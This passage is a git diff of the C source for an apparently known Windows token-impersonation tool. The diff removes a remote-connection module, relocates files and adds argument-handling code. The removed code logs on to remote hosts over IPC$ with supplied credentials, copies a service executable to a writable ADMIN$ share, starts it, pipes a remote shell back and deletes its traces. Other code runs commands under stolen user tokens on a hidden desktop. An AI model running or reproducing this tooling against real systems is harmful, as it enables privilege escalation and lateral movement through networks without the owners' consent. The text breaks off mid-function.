NULL, NULL); - - if(!hsvc) - { - output_status_string("[-] Failed to create service. Attempting to open pre-existing service: %d\n", GetLastError()); - hsvc = OpenServiceA(hscm, "incognito_service", SERVICE_ALL_ACCESS); - if(!hsvc) - { - output_status_string("[-] Failed to open service: %d\n", GetLastError()); - return; - } - else - output_status_string("[+] Existing service found and opened successfully\n"); - } - else - output_status_string("[+] Created service successfully\n"); - - // run service - varg[0] = szGUID; - - output_status_string("[*] Starting service\n"); - if(!StartService(hsvc, argc, (const char**)varg)) - { - output_status_string("[-] Service start failed: %d\n", GetLastError()); - return; - } - else - output_status_string("[+] Service started\n"); - - // Connect to named pipe - connect_to_named_pipe(machineName); - - // when the executable is finished running, it can be deleted - clean up - while (1) - { - Sleep(100); - - if (rExename[0] != 0) - if(DeleteFileA(rExename)) - { - Sleep(100); - output_status_string("[*] Service shutdown detected. Service executable file deleted\n"); - break; - } - } - - CloseHandle(hPipeR); - CloseHandle(hPipeW); - - output_status_string("[*] Deleting service\n"); - DeleteService(hsvc); - CloseServiceHandle(hsvc); - CloseServiceHandle(hscm); -} - -static void connect_to_named_pipe(char *lpszServer) -{ - char szOutputBuffer[2 * MAX_PATH], szPipeName[MAX_PATH]; - int nError = 2; - DWORD dwThreadId[2], dwMode; - - ZeroMemory(szPipeName, MAX_PATH); - ZeroMemory(szOutputBuffer, 2 * MAX_PATH); - - if (_snprintf(szPipeName, MAX_PATH, PIPE_FORMAT, lpszServer, szGUID) == -1) - szPipeName[sizeof(szPipeName)-1] = '\0'; - - while (nError == 2) - { - BOOL bPipe; - - bPipe = WaitNamedPipeA(szPipeName, 30000); - if (!bPipe) - { - // Error 2 means the pipe is not yet available, keep trying - nError = GetLastError(); - Sleep(100); - } - else - nError = 0; - break; - } - - output_status_string("[*] Connecting to incognito service named pipe\n"); - hPipeR = CreateFileA(szPipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); - - while(GetLastError() == ERROR_PIPE_BUSY) - { - Sleep(100); - hPipeR = CreateFileA(szPipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); - } - - if(hPipeR == INVALID_HANDLE_VALUE) - { - output_status_string("[-] Failed to create a new client-side pipe: error %d\n", GetLastError()); - return; - } - - hPipeW = CreateFileA(szPipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - while(GetLastError() == ERROR_PIPE_BUSY) - { - Sleep(100); - hPipeW = CreateFileA(szPipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - } - - if(hPipeW == INVALID_HANDLE_VALUE) - { - output_status_string("[-] Failed to create a new client-side pipe: error %d\n", GetLastError()); - return; - } - - dwMode = PIPE_READMODE_MESSAGE; - SetNamedPipeHandleState( - hPipeR, // pipe handle - &dwMode, // new pipe mode - NULL, // don't set maximum bytes - NULL); // don't set maximum time - SetNamedPipeHandleState( - hPipeW, // pipe handle - &dwMode, // new pipe mode - NULL, // don't set maximum bytes - NULL); // don't set maximum time - - output_status_string("[+] Successfully connected to named pipe %s\n", szGUID); - output_status_string("[*] Redirecting I/O to remote process\n"); - if (!grepable_mode) - output_string("\n"); - - CreateThread( - NULL, // default security attributes - 0, // use default stack size - ReadFromNamedPipe, // thread function - hPipeR, // argument to thread function - 0, // use default creation flags - &dwThreadId[0]); // returns the thread identifier - - CreateThread( - NULL, // default security attributes - 0, // use default stack size - WriteToNamedPipe, // thread function - hPipeW, // argument to thread function - 0, // use default creation flags - &dwThreadId[1]); // returns the thread identifier - -} - -static DWORD WINAPI ReadFromNamedPipe(LPVOID p) -{ - DWORD dwRead; - CHAR chBuf[BUFSIZE]; - - while (1) - { - if (!ReadFile(p, chBuf, BUFSIZE, &dwRead, NULL) && GetLastError() != ERROR_MORE_DATA) - break; - fwrite(chBuf, sizeof(char), dwRead, hOUTPUT); - } - - return 0; -} - -static DWORD WINAPI WriteToNamedPipe(LPVOID p) -{ - DWORD dwRead, dwWritten; - CHAR chBuf[BUFSIZE]; - - while (1) - { - if (!ReadFile(GetStdHandle(STD_INPUT_HANDLE), chBuf, BUFSIZE, &dwRead, NULL) && GetLastError() != ERROR_MORE_DATA) - break; - WriteFile(p, chBuf, dwRead, &dwWritten, NULL); - } - - return 0; -} - -static void handle_interrupt(int signal) -{ - output_status_string("\n\n"); - output_status_string("[*] Caught interrupt signal\n"); - - output_status_string("[*] Advised to run cleanup command against hosts\n"); - if (!ControlService(hsvc, SERVICE_CONTROL_STOP, &sStatus)) - output_status_string("[-] Failed to stop service: %d\n", GetLastError()); - - Sleep(200); - - //exit(signal); -} - -static BOOL GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath) -{ - // Returns the drive letter if successful, otherwise 0 - PSHARE_INFO_2 BufPtr, p; - NET_API_STATUS res; - DWORD er = 0, tr = 0, resume = 0, i; - wchar_t server[MAX_PATH]; - char szTemp[MAX_PATH], szTemp2[MAX_PATH]; - BOOL bFound = FALSE; - char szServerWithSlashes[MAX_PATH]; - - ZeroMemory(server, MAX_PATH); - ZeroMemory(szServerWithSlashes, MAX_PATH); - ZeroMemory(*lplpPhysicalPath, nPhysicalBufferSize); - ZeroMemory(*lplpUNCPath, nUNCPathSize); - //_snprintf(szServerWithSlashes, MAX_PATH, "\\\\%s", szServer); - if (_snprintf(szServerWithSlashes, MAX_PATH, "%s", szServer) == -1) - szServerWithSlashes[sizeof(szServerWithSlashes)-1] = '\0'; - mbstowcs(server, szServerWithSlashes, strlen(szServerWithSlashes)); - - do - { - res = NetShareEnum((LPWSTR)server, 2, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume); - if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA) - { - p = BufPtr; - for(i = 1; i <= er; i++) - { - ZeroMemory(szTemp, MAX_PATH); - wcstombs(szTemp, (LPWSTR)(p->shi2_netname), MAX_PATH); - - // Look for shares that are not SYSVOL or NETLOGON, and that have a physical path - if (/* added admin$ fudge*/ !_stricmp(szTemp, "ADMIN$") && _stricmp(szTemp, "SYSVOL") != 0 && _stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi2_path)) > 0) - { - // If this is a potentially workable share, try uploading something - memset(szTemp2, 0, MAX_PATH); - if (_snprintf(szTemp2, MAX_PATH, "%s\\%s", szServerWithSlashes, szTemp) == -1) - szTemp2[sizeof(szTemp2)-1] = '\0'; - if (1/*CanUpload(szTemp2)*/) - { - // Success! - // Copy the physical path to the out variable - wcstombs(szTemp, (LPWSTR)(p->shi2_path), MAX_PATH); - strncpy(*lplpPhysicalPath, szTemp, nPhysicalBufferSize); - - // Also copy the UNC path to the out variable - strncpy(*lplpUNCPath, szTemp2, nUNCPathSize); - bFound = TRUE; - break; - } - - // Otherwise continue and try another share - } - - p++; - } - - NetApiBufferFree(BufPtr); - } - else - output_status_string("[-] Error accessing ADMIN$ share: %ld\n",res); - } - while (res == ERROR_MORE_DATA); // end do - - return bFound; -} - -static void cleanup(char *server_name, char *username, char *password) -{ - //stop service - // delete service - // delete file - DWORD rc; - char *szWritableShare = NULL, *szWritableSharePhysical = NULL, machineName[MAX_PATH], - resourceName[MAX_PATH], szFullServicePath[MAX_PATH], localPath[MAX_PATH]; - - NETRESOURCE rec; - rec.dwType = RESOURCETYPE_DISK; - rec.lpLocalName = NULL; - rec.lpProvider = NULL; - - if (_snprintf(machineName, MAX_PATH, "\\\\%s", server_name) == -1) - machineName[sizeof(machineName)-1] = '\0'; - szWritableShare = (char*)calloc(MAX_PATH + 1, sizeof(char)); - szWritableSharePhysical = (char*)calloc(MAX_PATH + 1, sizeof(char)); - - // Register signal handlers and get local path - signal(SIGINT, handle_interrupt); - signal(SIGTERM, handle_interrupt); - signal(SIGABRT, handle_interrupt); - GetModuleFileNameA(NULL, localPath, MAX_PATH); - - // Need to establish a connection to enumerate shares sometimes - sprintf(resourceName, "%s\\IPC$", machineName); - rec.lpRemoteName = resourceName; - - // Connect to remote host if username and password supplied - if (username && password) - { - output_status_string("[*] Attempting to establish new connection to %s\n", resourceName); - - WNetCancelConnection2A(rec.lpRemoteName, 0, TRUE); - - if ((rc = WNetAddConnection2A(&rec, password, username, 0))) - output_status_string("[-] Logon to %s failed: error %d\n", resourceName, rc); - else - output_status_string("[+] Logon to %s succeeded\n", resourceName); - } - else - output_status_string("[-] No username and password supplied\n"); - - if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare)) - { - output_status_string("[-] Unable to find writable share on %s\n", machineName); - return; - } - if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0) - { - output_status_string("[-] Unable to find a writable share on %s\n", machineName); - return; - } - - if (_snprintf(szFullServicePath, MAX_PATH,"%s\\%s", szWritableSharePhysical, "incognito_service.exe") == -1) - szFullServicePath[sizeof(szFullServicePath)-1] = '\0'; - - // stop and delete the service on remote machine - hscm = OpenSCManagerA(machineName, NULL, SC_MANAGER_CREATE_SERVICE); - if(!hscm) - { - output_status_string("[-] Failed to open service control manager\n"); - } - else - { - hsvc = OpenServiceA(hscm, "incognito_service", SERVICE_ALL_ACCESS); - if(!hsvc) - { - output_status_string("[-] Failed to open service: %d\n", GetLastError()); - } - else - { - output_status_string("[*] Stopping and deleting incognito service on remote host\n"); - ControlService(hsvc, SERVICE_CONTROL_STOP, &sStatus); - DeleteService(hsvc); - CloseServiceHandle(hsvc); - } - CloseServiceHandle(hscm); - } - - // delete exe file from remote machine - strncpy(strrchr(localPath, '\\') + 1, "incognito_service.exe", MAX_PATH-1-(strrchr(localPath, '\\') + 1 - localPath)); - localPath[MAX_PATH-1] = '\0'; - strncpy(rExename, szWritableShare, MAX_PATH-1); - rExename[MAX_PATH-1] = '\0'; - strncat(rExename, "\\incognito_service.exe", MAX_PATH-strlen(rExename)); - - output_status_string("[*] Deleting service EXE %s\n", rExename); - - if (DeleteFileA(rExename)) - output_status_string("[+] Successfully deleted %s\n", rExename); - else - output_status_string("[-] Couldn't delete %s: %d\n", rExename, GetLastError()); - -} \ No newline at end of file diff --git a/remote_connection.h b/remote_connection.h deleted file mode 100644 index d52abd1..0000000 --- a/remote_connection.h +++ /dev/null @@ -1,39 +0,0 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#ifndef INC_REMOTE_CONNECTION_H -#define INC_REMOTE_CONNECTION_H - -void connect_to_machine(char *server_name, char *username, char *password, int argc, char *argv[], BOOL cleanup_mode); - - -#endif \ No newline at end of file diff --git a/XGetopt.c b/src/XGetopt.c similarity index 94% rename from XGetopt.c rename to src/XGetopt.c index 7d1f912..0885667 100644 --- a/XGetopt.c +++ b/src/XGetopt.c @@ -1,85 +1,85 @@ -/////////////////////////////////////////////////////////////////////////////// -// XGetopt.h Version 1.2 -// -// Author: Hans Dietrich -// hdietrich2@hotmail.com -// -// This software is released into the public domain. -// You are free to use it in any way you like. -// -// This software is provided "as is" with no expressed -// or implied warranty. I accept no liability for any -// damage or loss of business that this software may cause. -// -/////////////////////////////////////////////////////////////////////////////// - -#include -#include - -char *optarg; // global argument pointer -int optind = 0; // global argv index -char c; -char *cp; - -int getopt(int argc, char *argv[], char *optstring) -{ - static char *next = NULL; - if (optind == 0) - next = NULL; - - optarg = NULL; - - if (next == NULL || *next == '\0') - { - if (optind == 0) - optind++; - - if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') - { - optarg = NULL; - if (optind < argc) - optarg = argv[optind]; - return EOF; - } - - if (strcmp(argv[optind], "--") == 0) - { - optind++; - optarg = NULL; - if (optind < argc) - optarg = argv[optind]; - return EOF; - } - - next = argv[optind]; - next++; // skip past - - optind++; - } - - c = *next++; - cp = strchr(optstring, c); - - if (cp == NULL || c == ':') - return '?'; - - cp++; - if (*cp == ':') - { - if (*next != '\0') - { - optarg = next; - next = NULL; - } - else if (optind < argc) - { - optarg = argv[optind]; - optind++; - } - else - { - return ':'; - } - } - - return c; -} +/////////////////////////////////////////////////////////////////////////////// +// XGetopt.h Version 1.2 +// +// Author: Hans Dietrich +// hdietrich2@hotmail.com +// +// This software is released into the public domain. +// You are free to use it in any way you like. +// +// This software is provided "as is" with no expressed +// or implied warranty. I accept no liability for any +// damage or loss of business that this software may cause. +// +/////////////////////////////////////////////////////////////////////////////// + +#include +#include + +char *optarg; // global argument pointer +int optind = 0; // global argv index +char c; +char *cp; + +int getopt(int argc, char *argv[], char *optstring) +{ + static char *next = NULL; + if (optind == 0) + next = NULL; + + optarg = NULL; + + if (next == NULL || *next == '\0') + { + if (optind == 0) + optind++; + + if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') + { + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + if (strcmp(argv[optind], "--") == 0) + { + optind++; + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + next = argv[optind]; + next++; // skip past - + optind++; + } + + c = *next++; + cp = strchr(optstring, c); + + if (cp == NULL || c == ':') + return '?'; + + cp++; + if (*cp == ':') + { + if (*next != '\0') + { + optarg = next; + next = NULL; + } + else if (optind < argc) + { + optarg = argv[optind]; + optind++; + } + else + { + return ':'; + } + } + + return c; +} diff --git a/child_process.c b/src/child_process.c similarity index 95% rename from child_process.c rename to src/child_process.c index a7a84a7..8676b18 100644 --- a/child_process.c +++ b/src/child_process.c @@ -1,193 +1,193 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include "handle_arguments.h" - -#define BUFSIZE 4096 - -static HANDLE hChildStdinRd, hChildStdinWr, - hChildStdoutRd, hChildStdoutWr, hStdout; - -void CreateChildProcess(HANDLE, char*, PROCESS_INFORMATION*); -DWORD WINAPI WriteToPipe(LPVOID); -DWORD WINAPI ReadFromPipe(LPVOID); - - -void CreateProcessWithPipeComm(HANDLE token, char *command) -{ - PROCESS_INFORMATION piProcInfo; - SECURITY_ATTRIBUTES saAttr; - DWORD dwThreadId[2]; - HANDLE hThread[2]; - - // Set the bInheritHandle flag so pipe handles are inherited. - saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); - saAttr.bInheritHandle = TRUE; - saAttr.lpSecurityDescriptor = NULL; - - // Get the handle to the current STDOUT. - hStdout = GetStdHandle(STD_OUTPUT_HANDLE); - - // Create a pipe for the child process's STDOUT. - if (!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) - { - output_status_string("[-] Stdout pipe creation failed\n"); - return; - } - - // Ensure the read handle to the pipe for STDOUT is not inherited. - SetHandleInformation( hChildStdoutRd, HANDLE_FLAG_INHERIT, 0); - - // Create a pipe for the child process's STDIN. - if (!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) - { - output_status_string("[-] Stdin pipe creation failed\n"); - return; - } - - // Ensure the write handle to the pipe for STDIN is not inherited. - SetHandleInformation( hChildStdinWr, HANDLE_FLAG_INHERIT, 0); - - // Now create the child process. - CreateChildProcess(token, command, &piProcInfo); - - hThread[0] = CreateThread( - NULL, // default security attributes - 0, // use default stack size - ReadFromPipe, // thread function - NULL, // argument to thread function - 0, // use default creation flags - &dwThreadId[0]); // returns the thread identifier - - hThread[1] = CreateThread( - NULL, // default security attributes - 0, // use default stack size - WriteToPipe, // thread function - NULL, // argument to thread function - 0, // use default creation flags - &dwThreadId[1]); // returns the thread identifier - - WaitForSingleObject(piProcInfo.hProcess, INFINITE); -} - -static void CreateChildProcess(HANDLE token, char *command, PROCESS_INFORMATION *piProcInfo) -{ - STARTUPINFO siStartInfo; - BOOL bFuncRetn = FALSE; - HWINSTA new_winstation, old_winstation; - - // Set up members of the PROCESS_INFORMATION structure. - ZeroMemory( piProcInfo, sizeof(PROCESS_INFORMATION) ); - - // Set up members of the STARTUPINFO structure. - ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); - siStartInfo.cb = sizeof(STARTUPINFO); - siStartInfo.hStdError = hChildStdoutWr; - siStartInfo.hStdOutput = hChildStdoutWr; - siStartInfo.hStdInput = hChildStdinRd; - siStartInfo.dwFlags |= STARTF_USESTDHANDLES; - siStartInfo.lpDesktop = "incognito\\default"; - - // Create new window station and save handle to existing one - old_winstation = GetProcessWindowStation(); - new_winstation = CreateWindowStationA( - "incognito", - (DWORD)NULL, - MAXIMUM_ALLOWED, - NULL - ); - - // Set process to new window station and create new desktop object within it - SetProcessWindowStation(new_winstation); - CreateDesktopA( - "default", - NULL, - NULL, - (DWORD)NULL, - GENERIC_ALL, - NULL - ); - SetProcessWindowStation(old_winstation); - - // Create the child process. - bFuncRetn = CreateProcessAsUserA( - token, - NULL, - command, // command line - NULL, // process security attributes - NULL, // primary thread security attributes - TRUE, // handles are inherited - 0, // creation flags - NULL, // use parent's environment - NULL, // use parent's current directory - &siStartInfo, // STARTUPINFO pointer - piProcInfo); // receives PROCESS_INFORMATION - - if (bFuncRetn == 0) - output_status_string("[-] Failed to create new process: %d\n", GetLastError()); -} - -static DWORD WINAPI WriteToPipe(LPVOID p) -{ - DWORD dwRead, dwWritten; - CHAR chBuf[BUFSIZE]; - - for (;;) - { - if (!read_counted_input(chBuf, BUFSIZE, &dwRead)) - break; - chBuf[dwRead-1] = '\n'; - if (! WriteFile(hChildStdinWr, chBuf, dwRead, - &dwWritten, NULL)) - break; - } - return 0; -} - -static DWORD WINAPI ReadFromPipe(LPVOID p) -{ - DWORD dwRead; - CHAR chBuf[BUFSIZE]; - - for (;;) - { - if( !ReadFile( hChildStdoutRd, chBuf, BUFSIZE, &dwRead, - NULL) || dwRead == 0) break; - if (!output_counted_string(chBuf, dwRead)) - break; - } - - return 0; -} +/* +Software License Agreement (BSD License) + +Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) +All rights reserved. + +Redistribution and use of this software in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of Luke Jennings nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of Luke Jennings. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include +#include +#include "handle_arguments.h" + +#define BUFSIZE 4096 + +static HANDLE hChildStdinRd, hChildStdinWr, + hChildStdoutRd, hChildStdoutWr, hStdout; + +void CreateChildProcess(HANDLE, char*, PROCESS_INFORMATION*); +DWORD WINAPI WriteToPipe(LPVOID); +DWORD WINAPI ReadFromPipe(LPVOID); + + +void CreateProcessWithPipeComm(HANDLE token, char *command) +{ + PROCESS_INFORMATION piProcInfo; + SECURITY_ATTRIBUTES saAttr; + DWORD dwThreadId[2]; + HANDLE hThread[2]; + + // Set the bInheritHandle flag so pipe handles are inherited. + saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + saAttr.bInheritHandle = TRUE; + saAttr.lpSecurityDescriptor = NULL; + + // Get the handle to the current STDOUT. + hStdout = GetStdHandle(STD_OUTPUT_HANDLE); + + // Create a pipe for the child process's STDOUT. + if (!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) + { + output_status_string("[-] Stdout pipe creation failed\n"); + return; + } + + // Ensure the read handle to the pipe for STDOUT is not inherited. + SetHandleInformation( hChildStdoutRd, HANDLE_FLAG_INHERIT, 0); + + // Create a pipe for the child process's STDIN. + if (!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) + { + output_status_string("[-] Stdin pipe creation failed\n"); + return; + } + + // Ensure the write handle to the pipe for STDIN is not inherited. + SetHandleInformation( hChildStdinWr, HANDLE_FLAG_INHERIT, 0); + + // Now create the child process. + CreateChildProcess(token, command, &piProcInfo); + + hThread[0] = CreateThread( + NULL, // default security attributes + 0, // use default stack size + ReadFromPipe, // thread function + NULL, // argument to thread function + 0, // use default creation flags + &dwThreadId[0]); // returns the thread identifier + + hThread[1] = CreateThread( + NULL, // default security attributes + 0, // use default stack size + WriteToPipe, // thread function + NULL, // argument to thread function + 0, // use default creation flags + &dwThreadId[1]); // returns the thread identifier + + WaitForSingleObject(piProcInfo.hProcess, INFINITE); +} + +static void CreateChildProcess(HANDLE token, char *command, PROCESS_INFORMATION *piProcInfo) +{ + STARTUPINFO siStartInfo; + BOOL bFuncRetn = FALSE; + HWINSTA new_winstation, old_winstation; + + // Set up members of the PROCESS_INFORMATION structure. + ZeroMemory( piProcInfo, sizeof(PROCESS_INFORMATION) ); + + // Set up members of the STARTUPINFO structure. + ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); + siStartInfo.cb = sizeof(STARTUPINFO); + siStartInfo.hStdError = hChildStdoutWr; + siStartInfo.hStdOutput = hChildStdoutWr; + siStartInfo.hStdInput = hChildStdinRd; + siStartInfo.dwFlags |= STARTF_USESTDHANDLES; + siStartInfo.lpDesktop = "inc\\default"; + + // Create new window station and save handle to existing one + old_winstation = GetProcessWindowStation(); + new_winstation = CreateWindowStationA( + "inc", + (DWORD)NULL, + MAXIMUM_ALLOWED, + NULL + ); + + // Set process to new window station and create new desktop object within it + SetProcessWindowStation(new_winstation); + CreateDesktopA( + "default", + NULL, + NULL, + (DWORD)NULL, + GENERIC_ALL, + NULL + ); + SetProcessWindowStation(old_winstation); + + // Create the child process. + bFuncRetn = CreateProcessAsUserA( + token, + NULL, + command, // command line + NULL, // process security attributes + NULL, // primary thread security attributes + TRUE, // handles are inherited + 0, // creation flags + NULL, // use parent's environment + NULL, // use parent's current directory + &siStartInfo, // STARTUPINFO pointer + piProcInfo); // receives PROCESS_INFORMATION + + if (bFuncRetn == 0) + output_status_string("[-] Failed to create new process: %d\n", GetLastError()); +} + +static DWORD WINAPI WriteToPipe(LPVOID p) +{ + DWORD dwRead, dwWritten; + CHAR chBuf[BUFSIZE]; + + for (;;) + { + if (!read_counted_input(chBuf, BUFSIZE, &dwRead)) + break; + chBuf[dwRead-1] = '\n'; + if (! WriteFile(hChildStdinWr, chBuf, dwRead, + &dwWritten, NULL)) + break; + } + return 0; +} + +static DWORD WINAPI ReadFromPipe(LPVOID p) +{ + DWORD dwRead; + CHAR chBuf[BUFSIZE]; + + for (;;) + { + if( !ReadFile( hChildStdoutRd, chBuf, BUFSIZE, &dwRead, + NULL) || dwRead == 0) break; + if (!output_counted_string(chBuf, dwRead)) + break; + } + + return 0; +} diff --git a/src/handle_arguments.c b/src/handle_arguments.c new file mode 100644 index 0000000..a793e01 --- /dev/null +++ b/src/handle_arguments.c @@ -0,0 +1,278 @@ +/* +Software License Agreement (BSD License) + +Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) +All rights reserved. + +Redistribution and use of this software in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of Luke Jennings nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of Luke Jennings. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include +#include +#include "child_process.h" +#include "token_info.h" +#include "process_execution.h" +#include "list_tokens.h" +#include "handle_arguments.h" +#include "XGetopt.h" + +static int threadCount=0; + +void output_string(char *string, ...) +{ + DWORD dwWritten; + va_list ap; + char temp[2048]; + + va_start(ap, string); + if (_vsnprintf(temp, sizeof(temp), string, ap) == -1) + temp[sizeof(temp)-1] = '\0'; + + if (hOUTPUT == stdout) + printf("%s", temp); + else + WriteFile(hOUTPUT, temp, (DWORD)strlen(temp), &dwWritten, NULL); + + va_end(ap); +} + +void output_status_string(char *string, ...) +{ + char *host = remote_host; + DWORD dwWritten; + va_list ap; + char temp[2048]; + + if (suppress_status) + return; + + va_start(ap, string); + if (_vsnprintf(temp, sizeof(temp), string, ap) == -1) + temp[sizeof(temp)-1] = '\0'; + + if (hOUTPUT == stdout) + { + if (grepable_mode) + printf("%s / [Status] / ", host); + printf("%s", temp); + } + else + { + if (grepable_mode) + { + WriteFile(hOUTPUT, host, (DWORD)strlen(host), &dwWritten, NULL); + WriteFile(hOUTPUT, " / [Status] / ", (DWORD)strlen(" / [Status] / "), &dwWritten, NULL); + } + WriteFile(hOUTPUT, temp, (DWORD)strlen(temp), &dwWritten, NULL); + } + + va_end(ap); +} + +void output_grepable_string(char *string, ...) +{ + char *host = remote_host; + DWORD dwWritten; + va_list ap; + char temp[2048]; + + va_start(ap, string); + if (_vsnprintf(temp, sizeof(temp), string, ap) 